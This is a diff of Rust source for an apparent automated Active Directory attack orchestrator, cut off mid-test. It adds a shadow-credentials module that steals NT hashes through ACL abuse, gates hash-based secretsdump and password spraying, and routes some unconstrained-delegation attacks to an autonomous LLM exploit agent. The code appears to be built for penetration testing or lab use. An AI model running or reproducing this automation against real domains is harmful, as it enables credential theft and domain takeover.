b/ares-cli/src/orchestrator/automation/secretsdump.rs index 4cfd192f..1de58ffc 100644 --- a/ares-cli/src/orchestrator/automation/secretsdump.rs +++ b/ares-cli/src/orchestrator/automation/secretsdump.rs @@ -27,6 +27,11 @@ pub async fn auto_local_admin_secretsdump( break; } + // Strategy gate: skip if secretsdump is excluded. + if !dispatcher.is_technique_allowed("secretsdump") { + continue; + } + // Collect credentials with passwords + target DCs. // Do NOT gate on is_admin — the credential may have admin rights we // haven't confirmed yet. Secretsdump will fail fast if it lacks @@ -100,6 +105,11 @@ pub async fn auto_local_admin_secretsdump( // This covers child-to-parent escalation (e.g. child.contoso.local // → contoso.local) where password-based creds won't have admin // rights on the parent DC. + // Strategy gate: skip dc_secretsdump if excluded. + if !dispatcher.is_technique_allowed("dc_secretsdump") { + continue; + } + let hash_work: Vec<(String, String, String, String, String)> = { let state = dispatcher.state.read().await; let mut items = Vec::new(); @@ -135,8 +145,15 @@ pub async fn auto_local_admin_secretsdump( for (dedup_key, dc_ip, hash_domain, hash_value, _parent_domain) in hash_work.into_iter().take(2) { + let priority = dispatcher.effective_priority("dc_secretsdump"); match dispatcher - .request_secretsdump_hash(&dc_ip, "Administrator", &hash_domain, &hash_value, 2) + .request_secretsdump_hash( + &dc_ip, + "Administrator", + &hash_domain, + &hash_value, + priority, + ) .await { Ok(Some(task_id)) => { diff --git a/ares-cli/src/orchestrator/automation/shadow_credentials.rs b/ares-cli/src/orchestrator/automation/shadow_credentials.rs new file mode 100644 index 00000000..ae571b76 --- /dev/null +++ b/ares-cli/src/orchestrator/automation/shadow_credentials.rs @@ -0,0 +1,653 @@ +//! auto_shadow_credentials -- exploit GenericAll/WriteDacl ACL edges via shadow credentials. +//! +//! When BloodHound or ACL analysis discovers that a controlled user has +//! GenericAll, GenericWrite, or WriteDacl on another user/computer, this +//! automation dispatches `certipy shadow auto` to add shadow credentials +//! and obtain the target's NT hash without touching LSASS. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; + +/// Dedup key prefix for shadow credential attacks. +const DEDUP_SHADOW_CREDS: &str = "shadow_creds"; + +/// Monitors for GenericAll/WriteDacl edges and dispatches shadow credential attacks. +/// Interval: 30s. +pub async fn auto_shadow_credentials( + dispatcher: Arc, + mut shutdown: watch::Receiver, +) { + let mut interval = tokio::time::interval(Duration::from_secs(30)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("shadow_credentials") { + continue; + } + + // Skip when fully dominated and strategy says stop. + { + let state = dispatcher.state.read().await; + if state.has_domain_admin + && state.all_forests_dominated() + && !dispatcher.config.strategy.should_continue_after_da() + { + continue; + } + } + + let work: Vec = { + let state = dispatcher.state.read().await; + + state + .discovered_vulnerabilities + .values() + .filter_map(|vuln| { + // Look for ACL-based vulns that grant write access to another principal + if !is_shadow_cred_candidate(&vuln.vuln_type) { + return None; + } + + if state.exploited_vulnerabilities.contains(&vuln.vuln_id) { + return None; + } + + let dedup_key = format!("{DEDUP_SHADOW_CREDS}:{}", vuln.vuln_id); + if state.is_processed(DEDUP_SHADOW_CREDS, &dedup_key) { + return None; + } + + // Extract source (attacker) and target (victim) from vuln details + let source_user = extract_source_user(&vuln.details)?; + let target_user = extract_target_user(&vuln.details)?; + + let domain = vuln + .details + .get("domain") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(); + + // Find credential for the source user + let credential = state + .credentials + .iter() + .find(|c| { + c.username.to_lowercase() == source_user.to_lowercase() + && (domain.is_empty() + || c.domain.to_lowercase() == domain.to_lowercase()) + }) + .cloned(); + + // Also check for NTLM hash as fallback + let hash = if credential.is_none() { + state + .hashes + .iter() + .find(|h| { + h.username.to_lowercase() == source_user.to_lowercase() + && h.hash_type.to_uppercase() == "NTLM" + && (domain.is_empty() + || h.domain.to_lowercase() == domain.to_lowercase()) + }) + .cloned() + } else { + None + }; + + if credential.is_none() && hash.is_none() { + debug!( + vuln_id = %vuln.vuln_id, + source = %source_user, + "Shadow credentials skipped: no cred/hash for source user" + ); + return None; + } + + let dc_ip = state + .domain_controllers + .get(&domain.to_lowercase()) + .cloned(); + + Some(ShadowCredWork { + vuln_id: vuln.vuln_id.clone(), + dedup_key, + source_user, + target_user, + domain, + dc_ip, + credential, + hash, + }) + }) + .collect() + }; + + for item in work { + let mut payload = json!({ + "technique": "shadow_credentials", + "vuln_type": "shadow_credentials", + "vuln_id": item.vuln_id, + "target_account": item.target_user, + "domain": item.domain, + }); + + if let Some(ref dc) = item.dc_ip { + payload["target_ip"] = json!(dc); + payload["dc_ip"] = json!(dc); + } + + if let Some(ref cred) = item.credential { + payload["username"] = json!(cred.username); + payload["password"] = json!(cred.password); + payload["credential"] = json!({ + "username": cred.username, + "password": cred.password, + "domain": cred.domain, + }); + } else if let Some(ref hash) = item.hash { + payload["username"] = json!(hash.username); + payload["hash"] = json!(hash.hash_value); + } + + let priority = dispatcher.effective_priority("shadow_credentials"); + match dispatcher + .throttled_submit("exploit", "privesc", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + vuln_id = %item.vuln_id, + source = %item.source_user, + target = %item.target_user, + "Shadow credentials attack dispatched" + ); + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_SHADOW_CREDS, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_SHADOW_CREDS, &item.dedup_key) + .await; + } + Ok(None) => {} + Err(e) => { + warn!(err = %e, vuln_id = %item.vuln_id, "Failed to dispatch shadow credentials") + } + } + } + } +} + +/// Extract the source (attacker) user from vulnerability details. +/// Tries "source", "source_user", "attacker" keys in priority order. +fn extract_source_user( + details: &std::collections::HashMap, +) -> Option { + details + .get("source") + .or_else(|| details.get("source_user")) + .or_else(|| details.get("attacker")) + .and_then(|v| v.as_str()) + .map(|s| s.to_string()) +} + +/// Extract the target (victim) user from vulnerability details. +/// Tries "target", "target_user", "victim", "account_name" keys in priority order. +fn extract_target_user( + details: &std::collections::HashMap, +) -> Option { + details + .get("target") + .or_else(|| details.get("target_user")) + .or_else(|| details.get("victim")) + .or_else(|| details.get("account_name")) + .and_then(|v| v.as_str()) + .map(|s| s.to_string()) +} + +struct ShadowCredWork { + vuln_id: String, + dedup_key: String, + source_user: String, + target_user: String, + domain: String, + dc_ip: Option, + credential: Option, + hash: Option, +} + +/// Returns `true` if the given vulnerability type is a candidate for shadow +/// credentials exploitation (ACL-based write access on another principal). +pub(crate) fn is_shadow_cred_candidate(vuln_type: &str) -> bool { + matches!( + vuln_type.to_lowercase().as_str(), + "genericall" + | "genericwrite" + | "writedacl" + | "writeowner" + | "shadow_credentials" + | "acl_genericall" + | "acl_genericwrite" + | "acl_writedacl" + ) +} + +#[cfg(test)] +mod tests { + use super::*; + use std::collections::HashMap; + + // ----------------------------------------------------------------------- + // is_shadow_cred_candidate + // ----------------------------------------------------------------------- + + #[test] + fn test_is_shadow_cred_candidate_positive() { + assert!(is_shadow_cred_candidate("genericall")); + assert!(is_shadow_cred_candidate("GenericAll")); + assert!(is_shadow_cred_candidate("genericwrite")); + assert!(is_shadow_cred_candidate("writedacl")); + assert!(is_shadow_cred_candidate("writeowner")); + assert!(is_shadow_cred_candidate("shadow_credentials")); + assert!(is_shadow_cred_candidate("acl_genericall")); + assert!(is_shadow_cred_candidate("acl_genericwrite")); + assert!(is_shadow_cred_candidate("acl_writedacl")); + } + + #[test] + fn test_is_shadow_cred_candidate_negative() { + assert!(!is_shadow_cred_candidate("rbcd")); + assert!(!is_shadow_cred_candidate("esc1")); + assert!(!is_shadow_cred_candidate("mssql_access")); + assert!(!is_shadow_cred_candidate("unconstrained_delegation")); + assert!(!is_shadow_cred_candidate("genericall_computer")); + assert!(!is_shadow_cred_candidate("")); + } + + #[test] + fn test_is_shadow_cred_candidate_case_insensitive() { + assert!(is_shadow_cred_candidate("GENERICALL")); + assert!(is_shadow_cred_candidate("WriteDacl")); + assert!(is_shadow_cred_candidate("ACL_GENERICWRITE")); + } + + #[test] + fn test_is_shadow_cred_candidate_partial_match_rejected() { + // Substrings or superstrings should not match + assert!(!is_shadow_cred_candidate("acl_genericall_extra")); + assert!(!is_shadow_cred_candidate("not_genericall")); + assert!(!is_shadow_cred_candidate("generic")); + assert!(!is_shadow_cred_candidate("write")); + } + + #[test] + fn test_is_shadow_cred_candidate_whitespace_rejected() { + assert!(!is_shadow_cred_candidate(" genericall")); + assert!(!is_shadow_cred_candidate("genericall ")); + assert!(!is_shadow_cred_candidate(" genericall ")); + } + + // ----------------------------------------------------------------------- + // extract_source_user + // ----------------------------------------------------------------------- + + #[test] + fn test_extract_source_user_primary_key() { + let mut details = HashMap::new(); + details.insert( + "source".to_string(), + serde_json::Value::String("testuser".to_string()), + ); + assert_eq!(extract_source_user(&details), Some("testuser".to_string())); + } + + #[test] + fn test_extract_source_user_fallback_source_user() { + let mut details = HashMap::new(); + details.insert( + "source_user".to_string(), + serde_json::Value::String("admin_user".to_string()), + ); + assert_eq!( + extract_source_user(&details), + Some("admin_user".to_string()) + ); + } + + #[test] + fn test_extract_source_user_fallback_attacker() { + let mut details = HashMap::new(); + details.insert( + "attacker".to_string(), + serde_json::Value::String("evil_user".to_string()), + ); + assert_eq!(extract_source_user(&details), Some("evil_user".to_string())); + } + + #[test] + fn test_extract_source_user_priority_order() { + let mut details = HashMap::new(); + details.insert( + "source".to_string(), + serde_json::Value::String("first".to_string()), + ); + details.insert( + "source_user".to_string(), + serde_json::Value::String("second".to_string()), + ); + details.insert( + "attacker".to_string(), + serde_json::Value::String("third".to_string()), + ); + assert_eq!(extract_source_user(&details), Some("first".to_string())); + } + + #[test] + fn test_extract_source_user_empty_details() { + let details = HashMap::new(); + assert_eq!(extract_source_user(&details), None); + } + + #[test] + fn test_extract_source_user_non_string_value() { + let mut details = HashMap::new(); + details.insert("source".to_string(), serde_json::Value::Number(123.into())); + assert_eq!(extract_source_user(&details), None); + } + + #[test] + fn test_extract_source_user_null_does_not_fall_through() { + // When "source" key exists but is Null, get() returns Some(&Null), + // so or_else() does NOT try "attacker". The as_str() on Null returns None. + let mut details = HashMap::new(); + details.insert("source".to_string(), serde_json::Value::Null); + details.insert( + "attacker".to_string(), + serde_json::Value::String("fallback".to_string()), + ); + assert_eq!(extract_source_user(&details), None); + } + + // ----------------------------------------------------------------------- + // extract_target_user + // ----------------------------------------------------------------------- + + #[test] + fn test_extract_target_user_primary_key() { + let mut details = HashMap::new(); + details.insert( + "target".to_string(), + serde_json::Value::String("dc01$".to_string()), + ); + assert_eq!(extract_target_user(&details), Some("dc01$".to_string())); + } + + #[test] + fn test_extract_target_user_fallback_target_user() { + let mut details = HashMap::new(); + details.insert( + "target_user".to_string(), + serde_json::Value::String("sql01$".to_string()), + ); + assert_eq!(extract_target_user(&details), Some("sql01$".to_string())); + } + + #[test] + fn test_extract_target_user_fallback_victim() { + let mut details = HashMap::new(); + details.insert( + "victim".to_string(), + serde_json::Value::String("svc_sql".to_string()), + ); + assert_eq!(extract_target_user(&details), Some("svc_sql".to_string())); + } + + #[test] + fn test_extract_target_user_fallback_account_name() { + let mut details = HashMap::new(); + details.insert( + "account_name".to_string(), + serde_json::Value::String("web01$".to_string()), + ); + assert_eq!(extract_target_user(&details), Some("web01$".to_string())); + } + + #[test] + fn test_extract_target_user_priority_order() { + let mut details = HashMap::new(); + details.insert( + "target".to_string(), + serde_json::Value::String("first".to_string()), + ); + details.insert( + "target_user".to_string(), + serde_json::Value::String("second".to_string()), + ); + details.insert( + "victim".to_string(), + serde_json::Value::String("third".to_string()), + ); + details.insert( + "account_name".to_string(), + serde_json::Value::String("fourth".to_string()), + ); + assert_eq!(extract_target_user(&details), Some("first".to_string())); + } + + #[test] + fn test_extract_target_user_empty_details() { + let details = HashMap::new(); + assert_eq!(extract_target_user(&details), None); + } + + #[test] + fn test_extract_target_user_non_string_value() { + let mut details = HashMap::new(); + details.insert("target".to_string(), serde_json::Value::Bool(false)); + assert_eq!(extract_target_user(&details), None); + } + + // ----------------------------------------------------------------------- + // dedup key format + // ----------------------------------------------------------------------- + + #[test] + fn test_dedup_key_format() { + let vuln_id = "vuln-456"; + let dedup_key = format!("{DEDUP_SHADOW_CREDS}:{vuln_id}"); + assert_eq!(dedup_key, "shadow_creds:vuln-456"); + } + + #[test] + fn test_dedup_key_unique_per_vuln() { + let key1 = format!("{DEDUP_SHADOW_CREDS}:vuln-001"); + let key2 = format!("{DEDUP_SHADOW_CREDS}:vuln-002"); + assert_ne!(key1, key2); + } + + #[test] + fn test_dedup_key_contains_prefix() { + let key = format!("{DEDUP_SHADOW_CREDS}:vuln-123"); + assert!(key.starts_with("shadow_creds:")); + } + + // ----------------------------------------------------------------------- + // ShadowCredWork construction patterns + // ----------------------------------------------------------------------- + + #[test] + fn test_shadow_cred_work_with_credential() { + let work = ShadowCredWork { + vuln_id: "vuln-sc-001".to_string(), + dedup_key: format!("{DEDUP_SHADOW_CREDS}:vuln-sc-001"), + source_user: "testuser".to_string(), + target_user: "dc01$".to_string(), + domain: "contoso.local".to_string(), + dc_ip: Some("192.168.58.10".to_string()), + credential: Some(ares_core::models::Credential { + id: "cred-1".to_string(), + username: "testuser".to_string(), + password: "P@ssw0rd!".to_string(), // pragma: allowlist secret + domain: "contoso.local".to_string(), + source: String::new(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step: 0, + }), + hash: None, + }; + + assert_eq!(work.source_user, "testuser"); + assert_eq!(work.target_user, "dc01$"); + assert_eq!(work.domain, "contoso.local"); + assert!(work.credential.is_some()); + assert!(work.hash.is_none()); + } + + #[test] + fn test_shadow_cred_work_with_hash_fallback() { + let work = ShadowCredWork { + vuln_id: "vuln-sc-002".to_string(), + dedup_key: format!("{DEDUP_SHADOW_CREDS}:vuln-sc-002"), + source_user: "svc_admin".to_string(), + target_user: "sql01$".to_string(), + domain: "fabrikam.local".to_string(), + dc_ip: Some("192.168.58.20".to_string()), + credential: None, + hash: Some(ares_core::models::Hash { + id: "hash-1".to_string(), + username: "svc_admin".to_string(), + hash_value: "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0" + .to_string(), + hash_type: "NTLM".to_string(), + domain: "fabrikam.local".to_string(), + cracked_password: None, + source: String::new(), + discovered_at: None, + aes_key: None, + parent_id: None, + attack_step: 0, + }), + }; + + assert!(work.credential.is_none()); + assert!(work.hash.is_some()); + assert_eq!(work.hash.as_ref().unwrap().hash_type, "NTLM"); + } + + #[test] + fn test_shadow_cred_work_no_dc_ip() { + let work = ShadowCredWork { + vuln_id: "vuln-sc-003".to_string(), + dedup_key: format!("{DEDUP_SHADOW_CREDS}:vuln-sc-003"), + source_user: "testuser".to_string(), + target_user: "web01$".to_string(), + domain: "contoso.local".to_string(), + dc_ip: None, + credential: Some(ares_core::models::Credential { + id: "cred-2".to_string(), + username: "testuser".to_string(), + password: "P@ssw0rd!".to_string(), // pragma: allowlist secret + domain: "contoso.local".to_string(), + source: String::new(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step: 0, + }), + hash: None, + }; + + assert!(work.dc_ip.is_none()); + } + + // ----------------------------------------------------------------------- + // Integration-like: combined extraction from realistic vuln details + // ----------------------------------------------------------------------- + + #[test] + fn test_full_shadow_cred_extraction() { + let mut details = HashMap::new(); + details.insert( + "source".to_string(), + serde_json::Value::String("testuser".to_string()), + ); + details.insert( + "target".to_string(), + serde_json::Value::String("dc01$".to_string()), + ); + details.insert( + "domain".to_string(), + serde_json::Value::String("contoso.local".to_string()), + ); + + assert_eq!(extract_source_user(&details), Some("testuser".to_string())); + assert_eq!(extract_target_user(&details), Some("dc01$".to_string())); + assert!(is_shadow_cred_candidate("genericall")); + } + + #[test] + fn test_extraction_with_alternate_keys() { + let mut details = HashMap::new(); + details.insert( + "attacker".to_string(), + serde_json::Value::String("svc_admin".to_string()), + ); + details.insert( + "victim".to_string(), + serde_json::Value::String("sql01$".to_string()), + ); + details.insert( + "domain".to_string(), + serde_json::Value::String("fabrikam.local".to_string()), + ); + + assert_eq!(extract_source_user(&details), Some("svc_admin".to_string())); + assert_eq!(extract_target_user(&details), Some("sql01$".to_string())); + } + + #[test] + fn test_extraction_missing_source_returns_none() { + let mut details = HashMap::new(); + // Only target present, no source + details.insert( + "target".to_string(), + serde_json::Value::String("dc01$".to_string()), + ); + + assert_eq!(extract_source_user(&details), None); + assert_eq!(extract_target_user(&details), Some("dc01$".to_string())); + } + + #[test] + fn test_extraction_missing_target_returns_none() { + let mut details = HashMap::new(); + // Only source present, no target + details.insert( + "source".to_string(), + serde_json::Value::String("testuser".to_string()), + ); + + assert_eq!(extract_source_user(&details), Some("testuser".to_string())); + assert_eq!(extract_target_user(&details), None); + } +} diff --git a/ares-cli/src/orchestrator/automation/stall_detection.rs b/ares-cli/src/orchestrator/automation/stall_detection.rs index 91b54821..cd013530 100644 --- a/ares-cli/src/orchestrator/automation/stall_detection.rs +++ b/ares-cli/src/orchestrator/automation/stall_detection.rs @@ -69,7 +69,8 @@ pub async fn auto_stall_detection( // Skip only when ALL forests are dominated — stall recovery must // keep firing if undominated forests remain after initial DA. - if has_da { + // In comprehensive mode, never skip — keep discovering. + if has_da && !dispatcher.config.strategy.should_continue_after_da() { let state = dispatcher.state.read().await; if state.all_forests_dominated() { continue; @@ -114,7 +115,8 @@ pub async fn auto_stall_detection( // --- Fallback 1: Password spray with discovered users --- // Skip domains with pending delegation vulns — sprays lock delegation // accounts and prevent S4U exploitation from succeeding. - if has_users && has_dcs { + // Also respect strategy gate — don't spray when excluded. + if has_users && has_dcs && dispatcher.is_technique_allowed("password_spray") { let spray_work: Vec<(String, String)> = { let state = dispatcher.state.read().await; // Collect domains that have pending delegation vulns diff --git a/ares-cli/src/orchestrator/automation/unconstrained.rs b/ares-cli/src/orchestrator/automation/unconstrained.rs index ecda47a2..ff4166c1 100644 --- a/ares-cli/src/orchestrator/automation/unconstrained.rs +++ b/ares-cli/src/orchestrator/automation/unconstrained.rs @@ -74,7 +74,13 @@ pub async fn auto_unconstrained_exploitation( let work: Vec = { let state = dispatcher.state.read().await; - if state.has_domain_admin && state.all_forests_dominated() { + // Skip only when ALL forests are dominated AND strategy says to stop. + // When continue_after_da is true, keep exploiting unconstrained + // delegation for path diversity even after full domination. + if state.has_domain_admin + && state.all_forests_dominated() + && !dispatcher.config.strategy.should_continue_after_da() + { continue; } @@ -107,25 +113,10 @@ pub async fn auto_unconstrained_exploitation( return None; } - // Only automate machine accounts — we can resolve hostname → IP. - // User accounts (sarah.connor) go through the LLM exploit path. - if !account_name.ends_with('$') { - return None; - } - - // Resolve machine hostname → IP from discovered hosts. - // DC02$ → look for host with hostname starting with "dc02". - let hostname_prefix = account_name.trim_end_matches('$').to_lowercase(); - let host_ip = state.hosts.iter().find_map(|h| { - let h_lower = h.hostname.to_lowercase(); - if h_lower == hostname_prefix - || h_lower.starts_with(&format!("{hostname_prefix}.")) - { - Some(h.ip.clone()) - } else { - None - } - })?; + // Machine accounts: resolve hostname → IP for coerce+dump chain. + // User accounts (sansa.stark): dispatch LLM exploit task since we + // can't determine which host to coerce from just the account name. + let is_machine = account_name.ends_with('$'); // Find a DC in the same domain — this is what we coerce FROM. let dc_ip = state @@ -133,12 +124,32 @@ pub async fn auto_unconstrained_exploitation( .get(&domain.to_lowercase()) .cloned(); - // Find any non-quarantined credential for this domain. + let host_ip = if is_machine { + let hostname_prefix = account_name.trim_end_matches('$').to_lowercase(); + state.hosts.iter().find_map(|h| { + let h_lower = h.hostname.to_lowercase(); + if h_lower == hostname_prefix + || h_lower.starts_with(&format!("{hostname_prefix}.")) + { + Some(h.ip.clone()) + } else { + None + } + })? + } else { + // For user accounts, use the DC IP as the target — the LLM + // exploit agent will determine the right approach (e.g. find + // where the user is logged in, or use S4U). + dc_ip.as_ref().cloned()? + }; + + // Find any non-quarantined credential with a password for this domain. let credential = state .credentials .iter() .find(|c| { - c.domain.to_lowercase() == domain.to_lowercase() + !c.password.is_empty() + && c.domain.to_lowercase() == domain.to_lowercase() && !state.is_credential_quarantined(&c.username, &c.domain) }) .cloned(); @@ -151,7 +162,25 @@ pub async fn auto_unconstrained_exploitation( return None; } - // Determine action based on current phase. + // User accounts go straight to LLM exploit (one-shot, no coerce+dump). + if !is_machine { + let dedup_key = format!("uc_user:{}", account_name.to_lowercase()); + if phases.get(&vuln.vuln_id).is_some_and(|p| p.completed) { + return None; + } + return Some(UnconstrainedWork { + vuln_id: vuln.vuln_id.clone(), + account_name, + domain, + host_ip, + dc_ip, + credential, + action: Action::LlmExploit, + _dedup_key: Some(dedup_key), + }); + } + + // Determine action based on current phase (machine accounts only). let phase = phases.get(&vuln.vuln_id); // If auto_coercion already coerced this DC, skip straight to dump. @@ -202,6 +231,7 @@ pub async fn auto_unconstrained_exploitation( dc_ip, credential, action, + _dedup_key: None, }) }) .collect() @@ -234,8 +264,9 @@ pub async fn auto_unconstrained_exploitation( "reason": "unconstrained_delegation_coercion", }); + let priority = dispatcher.effective_priority("unconstrained_delegation"); match dispatcher - .throttled_submit("coercion", "coercion", payload, 8) + .throttled_submit("coercion", "coercion", payload, priority) .await { Ok(Some(task_id)) => { @@ -291,8 +322,9 @@ pub async fn auto_unconstrained_exploitation( }, }); + let priority = dispatcher.effective_priority("unconstrained_delegation"); match dispatcher - .throttled_submit("exploit", "privesc", payload, 9) + .throttled_submit("exploit", "privesc", payload, priority) .await { Ok(Some(task_id)) => { @@ -333,6 +365,66 @@ pub async fn auto_unconstrained_exploitation( } } } + + Action::LlmExploit => { + // User-account unconstrained delegation — dispatch to LLM + // exploit agent which can determine the right approach + // (find where user is logged in, monitor for TGTs, etc.) + let cred = match &item.credential { + Some(c) => c, + None => continue, + }; + + let payload = json!({ + "technique": "unconstrained_delegation_exploit", + "vuln_type": "unconstrained_delegation", + "vuln_id": item.vuln_id, + "target": item.host_ip, + "target_ip": item.host_ip, + "domain": item.domain, + "account_name": item.account_name, + "is_user_account": true, + "credential": { + "username": cred.username, + "password": cred.password, + "domain": cred.domain, + }, + }); + + let priority = dispatcher.effective_priority("unconstrained_delegation"); + match dispatcher + .throttled_submit("exploit", "privesc", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + vuln_id = %item.vuln_id, + account = %item.account_name, + "Unconstrained delegation: LLM exploit dispatched (user account)" + ); + phases.insert( + item.vuln_id.clone(), + PhaseState { + coercion_dispatched_at: None, + dump_attempts: 0, + last_dump_at: None, + completed: true, + }, + ); + } + Ok(None) => { + debug!(vuln_id = %item.vuln_id, "LLM exploit deferred by throttler"); + } + Err(e) => { + warn!( + err = %e, + vuln_id = %item.vuln_id, + "Failed to dispatch unconstrained LLM exploit" + ); + } + } + } } } } @@ -342,6 +434,8 @@ pub async fn auto_unconstrained_exploitation( enum Action { Coerce, Dump, + /// Dispatch to LLM exploit agent (for user accounts). + LlmExploit, } struct UnconstrainedWork { @@ -352,18 +446,38 @@ struct UnconstrainedWork { dc_ip: Option, credential: Option, action: Action, + _dedup_key: Option, } #[cfg(test)] mod tests { + use super::*; + use std::time::Duration; + use tokio::time::Instant; + + // ----------------------------------------------------------------------- + // hostname resolution logic + // ----------------------------------------------------------------------- + + /// Simulate the hostname resolution logic from the main function. + fn resolve_host_ip(account_name: &str, hosts: &[(String, String)]) -> Option { + let hostname_prefix = account_name.trim_end_matches('$').to_lowercase(); + hosts.iter().find_map(|(hostname, ip)| { + let h_lower = hostname.to_lowercase(); + if h_lower == hostname_prefix || h_lower.starts_with(&format!("{hostname_prefix}.")) { + Some(ip.clone()) + } else { + None + } + }) + } + #[test] fn test_hostname_resolution_machine_account() { - // DC02$ → "dc02" let account = "DC02$"; let prefix = account.trim_end_matches('$').to_lowercase(); assert_eq!(prefix, "dc02"); - // Should match "dc02.child.contoso.local" let hostname = "dc02.child.contoso.local"; let h_lower = hostname.to_lowercase(); assert!(h_lower == prefix || h_lower.starts_with(&format!("{prefix}."))); @@ -375,11 +489,480 @@ mod tests { let prefix = account.trim_end_matches('$').to_lowercase(); assert_eq!(prefix, "dc01"); - // Should match "dc01" assert!("dc01" == prefix); - // Should match "dc01.contoso.local" assert!("dc01.contoso.local".starts_with(&format!("{prefix}."))); - // Should NOT match "dc011.contoso.local" assert!(!"dc011.contoso.local".starts_with(&format!("{prefix}."))); } + + #[test] + fn test_hostname_resolution_fqdn_match() { + let hosts = vec![ + ( + "dc01.contoso.local".to_string(), + "192.168.58.10".to_string(), + ), + ( + "sql01.contoso.local".to_string(), + "192.168.58.20".to_string(), + ), + ]; + assert_eq!( + resolve_host_ip("DC01$", &hosts), + Some("192.168.58.10".to_string()) + ); + } + + #[test] + fn test_hostname_resolution_short_hostname_match() { + let hosts = vec![("dc01".to_string(), "192.168.58.10".to_string())]; + assert_eq!( + resolve_host_ip("DC01$", &hosts), + Some("192.168.58.10".to_string()) + ); + } + + #[test] + fn test_hostname_resolution_no_match() { + let hosts = vec![ + ( + "sql01.contoso.local".to_string(), + "192.168.58.20".to_string(), + ), + ( + "web01.contoso.local".to_string(), + "192.168.58.30".to_string(), + ), + ]; + assert_eq!(resolve_host_ip("DC01$", &hosts), None); + } + + #[test] + fn test_hostname_resolution_case_insensitive() { + let hosts = vec![( + "DC01.CONTOSO.LOCAL".to_string(), + "192.168.58.10".to_string(), + )]; + assert_eq!( + resolve_host_ip("dc01$", &hosts), + Some("192.168.58.10".to_string()) + ); + } + + #[test] + fn test_hostname_resolution_prefix_not_substring() { + // "dc01" should not match "dc011.contoso.local" + let hosts = vec![( + "dc011.contoso.local".to_string(), + "192.168.58.11".to_string(), + )]; + assert_eq!(resolve_host_ip("DC01$", &hosts), None); + } + + #[test] + fn test_hostname_resolution_multiple_domains() { + let hosts = vec![ + ( + "dc01.contoso.local".to_string(), + "192.168.58.10".to_string(), + ), + ( + "dc01.fabrikam.local".to_string(), + "192.168.58.40".to_string(), + ), + ]; + // Returns first match + assert_eq!( + resolve_host_ip("DC01$", &hosts), + Some("192.168.58.10".to_string()) + ); + } + + // ----------------------------------------------------------------------- + // is_machine_account + // ----------------------------------------------------------------------- + + #[test] + fn test_is_machine_account() { + assert!("DC02$".ends_with('$')); + assert!("SQL01$".ends_with('$')); + assert!("WEB01$".ends_with('$')); + assert!(!"testuser".ends_with('$')); + assert!(!"Administrator".ends_with('$')); + assert!(!"svc_admin".ends_with('$')); + } + + #[test] + fn test_machine_account_prefix_extraction() { + assert_eq!("DC01$".trim_end_matches('$').to_lowercase(), "dc01"); + assert_eq!("SQL01$".trim_end_matches('$').to_lowercase(), "sql01"); + assert_eq!("WEB-SRV$".trim_end_matches('$').to_lowercase(), "web-srv"); + } + + // ----------------------------------------------------------------------- + // user account handling + // ----------------------------------------------------------------------- + + #[test] + fn test_user_account_gets_dc_ip_as_target() { + let account = "testuser"; + let is_machine = account.ends_with('$'); + assert!(!is_machine); + } + + // ----------------------------------------------------------------------- + // dedup key format + // ----------------------------------------------------------------------- + + #[test] + fn test_dedup_key_format_user_account() { + let account = "testuser"; + let dedup_key = format!("uc_user:{}", account.to_lowercase()); + assert_eq!(dedup_key, "uc_user:testuser"); + } + + #[test] + fn test_dedup_key_case_normalized() { + let key1 = format!("uc_user:{}", "TestUser".to_lowercase()); + let key2 = format!("uc_user:{}", "testuser".to_lowercase()); + assert_eq!(key1, key2); + } + + #[test] + fn test_dedup_key_unique_per_user() { + let key1 = format!("uc_user:{}", "user1".to_lowercase()); + let key2 = format!("uc_user:{}", "user2".to_lowercase()); + assert_ne!(key1, key2); + } + + // ----------------------------------------------------------------------- + // PhaseState + // ----------------------------------------------------------------------- + + #[test] + fn test_phase_state_defaults() { + let phase = PhaseState { + coercion_dispatched_at: None, + dump_attempts: 0, + last_dump_at: None, + completed: false, + }; + assert!(!phase.completed); + assert_eq!(phase.dump_attempts, 0); + assert!(phase.coercion_dispatched_at.is_none()); + assert!(phase.last_dump_at.is_none()); + } + + #[test] + fn test_phase_state_after_coercion() { + let phase = PhaseState { + coercion_dispatched_at: Some(Instant::now()), + dump_attempts: 0, + last_dump_at: None, + completed: false, + }; + assert!(phase.coercion_dispatched_at.is_some()); + assert_eq!(phase.dump_attempts, 0); + assert!(!phase.completed); + } + + #[test] + fn test_phase_state_after_first_dump() { + let phase = PhaseState { + coercion_dispatched_at: Some(Instant::now()), + dump_attempts: 1, + last_dump_at: Some(Instant::now()), + completed: false, + }; + assert_eq!(phase.dump_attempts, 1); + assert!(phase.last_dump_at.is_some()); + assert!(!phase.completed); + } + + #[test] + fn test_phase_state_max_attempts_reached() { + let phase = PhaseState { + coercion_dispatched_at: Some(Instant::now()), + dump_attempts: MAX_DUMP_ATTEMPTS, + last_dump_at: Some(Instant::now()), + completed: true, + }; + assert!(phase.completed); + assert_eq!(phase.dump_attempts, MAX_DUMP_ATTEMPTS); + } + + #[test] + fn test_phase_state_under_max_attempts() { + let phase = PhaseState { + coercion_dispatched_at: Some(Instant::now()), + dump_attempts: MAX_DUMP_ATTEMPTS - 1, + last_dump_at: Some(Instant::now()), + completed: false, + }; + assert!(phase.dump_attempts < MAX_DUMP_ATTEMPTS); + assert!(!phase.completed); + } + + // ----------------------------------------------------------------------- + // Coercion timing logic + // ----------------------------------------------------------------------- + + #[test] + fn test_coerce_to_dump_delay_not_elapsed() { + let phase = PhaseState { + coercion_dispatched_at: Some(Instant::now()), + dump_attempts: 0, + last_dump_at: None, + completed: false, + }; + // Just created, delay has not elapsed + let elapsed = 